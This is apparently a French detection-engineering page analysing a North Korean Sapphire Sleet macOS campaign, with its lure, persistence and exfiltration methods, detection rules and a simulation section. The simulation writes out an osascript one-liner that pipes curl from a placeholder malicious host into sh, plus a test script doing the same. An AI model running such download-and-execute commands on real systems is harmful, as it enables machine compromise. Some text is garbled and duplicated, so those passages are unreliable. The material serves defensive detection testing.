Dissection de l’intrusion de Sapphire Sleet sur macOS : de l’appât au compromis
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
Microsoft Threat Intelligence a signalé une campagne ciblant macOS attribuée à l’acteur sponsorisé par l’État nord-coréen Sapphire Sleet. L’opération repose sur l’ingénierie sociale pour persuader les cibles de lancer des fichiers AppleScript malveillants présentés comme une mise à jour légitime du SDK Zoom. Une fois exécuté, le script récupère des charges utiles supplémentaires via curl and osascript, étendant l’intrusion en plusieurs étapes. Le malware est conçu pour voler des identifiants, des données de portefeuille de cryptomonnaie et d’autres informations sensibles, tout en contournant les protections de sécurité natives de macOS pour rester actif sur les systèmes compromis.
Investigation
L’enquête décrit une chaîne d’infection en plusieurs étapes qui commence par un .scpt fichier d’appât et se poursuit par une séquence de curl-à-osascript téléchargements de charges utiles. Les chercheurs ont identifié plusieurs composants de porte dérobée, y compris com.apple.cli, un binaire de services, icloudz, et com.google.chromes.updaters. Les acteurs de la menace ont également été observés en train de manipuler la base de données TCC de macOS pour obtenir des autorisations AppleEvents, utilisant des techniques de chargement de code réflexif et établissant une persistance via un démon de lancement. L’activité d’exfiltration reposait sur des chaînes d’agent utilisateur personnalisées et des communications par le biais de l’API Telegram Bot.
Atténuation
Apple a déjà publié des mises à jour de Safe Browsing et XProtect pour perturber l’infrastructure de la campagne et les composants malveillants. Microsoft recommande de bloquer l’exécution de fichiers .scpt , de restreindre les pipelines non sécurisés curl , de surveiller les changements non autorisés de la base de données TCC et d’auditer les installations de démons de lancement pour des entrées suspectes. Les utilisateurs devraient également être avertis des invites de mise à jour logicielle non sollicitées et conseillés de ne pas fournir d’identifiants via des dialogues ou scripts inattendus.
Réponse
Les défenseurs devraient détecter l’exécution malveillante d’AppleScript, les chaînes d’agent utilisateur anormales et les connexions sortantes vers des domaines de commande et de contrôle connus. Tous les binaires identifiés et les démons de lancement devraient être mis en quarantaine ou supprimés immédiatement, suivis de réinitialisations d’identifiants pour les utilisateurs concernés et de la validation de l’intégrité de la base de données TCC. Les intervenants d’incidents devraient également effectuer une analyse médico-légale sur les artefacts système collectés et restaurer les données impactées à partir de sauvegardes propres si nécessaire. curl user-agent strings, and outbound connections to known command-and-control domains. Any identified binaries and launch daemons should be quarantined or removed immediately, followed by credential resets for affected users and validation of TCC database integrity. Incident responders should also perform forensic analysis on collected system artifacts and restore impacted data from clean backups wherever necessary.
Flux du005cu0027attaque
Détections
Communications C2 possibles sur HTTP vers une IP directe avec un port peu commun (via proxy)
Voir
Exécution possible par utilisation de chmod et nohup dans une seule commande (via cmdline)
Voir
Validation des identifiants MacOS via Dscl Authonly (via cmdline)
Voir
Tentative d’exécution suspecte de Curl [MacOS] (via cmdline)
Voir
Une archive a été créée dans le dossier temporaire de MacOS (via file_event)
Voir
Des permissions dangereuses pour un binaire/script/dossier ont été définies (via cmdline)
Voir
IOCs (HashSha256) pour détecter : Dissection de l’intrusion macOS de Sapphire Sleet de l’appât au compromis
Voir
IOCs (SourceIP) pour détecter : Dissection de l’intrusion macOS de Sapphire Sleet de l’appât au compromis
Voir
IOCs (DestinationIP) pour détecter : Dissection de l’intrusion macOS de Sapphire Sleet de l’appât au compromis
Voir
Détection de la communication C2 Sapphire Sleet [Connexion réseau Linux]
Voir
Détection de l’exécution d’AppleScript avec Curl Piping sur macOS [Création de processus Linux]
Voir
Exécution de Simulation
Prérequis : Le contrôle de télémétrie et de base de référence doit avoir réussi.
Raison : Cette section décrit l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et viser à générer la télémétrie exacte attendue par la logique de détection.
-
Narration de l’attaque et commandes :
Un adversaire a obtenu un script de style PowerShell malveillant hébergé sur un serveur distant. Pour éviter de créer un binaire autonome, ils exploitent l’interpréteur AppleScript natif (osascript) et redirigent uncurltéléchargement directement dans l’interpréteur, réalisant un « téléchargement-et-exécution » en une commande. Cela correspond à la règleosascript+curlmotif.# Ligne unique malveillante qui devrait déclencher la règle osascript -e 'do shell script "curl -s https://malicious.example.com/payload.sh | sh"'La ligne de commande contient à la fois
osascriptandcurl, ainsi la condition de la règle Sigma (selection_osascript and selection_curl) s’évalue comme vraie. -
Script de test de régression :
# simulate_osascript_curl.sh # Objectif : Reproduire la télémétrie exacte qui devrait déclencher la règle de détection. set -e # Définir une charge utile inoffensive pour la sécurité (echo au lieu de code malveillant réel) MALICIOUS_URL="https://example.com/benign_payload.sh" # Créer une charge utile inoffensive factice qui imprime juste un message. # Dans un vrai test de red-team, vous hébergeriez un script réel ; ici nous le gardons sûr. curl -s -o /tmp/benign_payload.sh "$MALICIOUS_URL" || true # Exécuter l'AppleScript avec curl intégré dans une commande shell. osascript -e "do shell script "curl -s $MALICIOUS_URL | sh"" -
Commandes de nettoyage :
# cleanup_osascript_curl.sh # Supprimer tous les fichiers temporaires et terminer les processus errants. rm -f /tmp/benign_payload.sh pkill -f "osascript -e"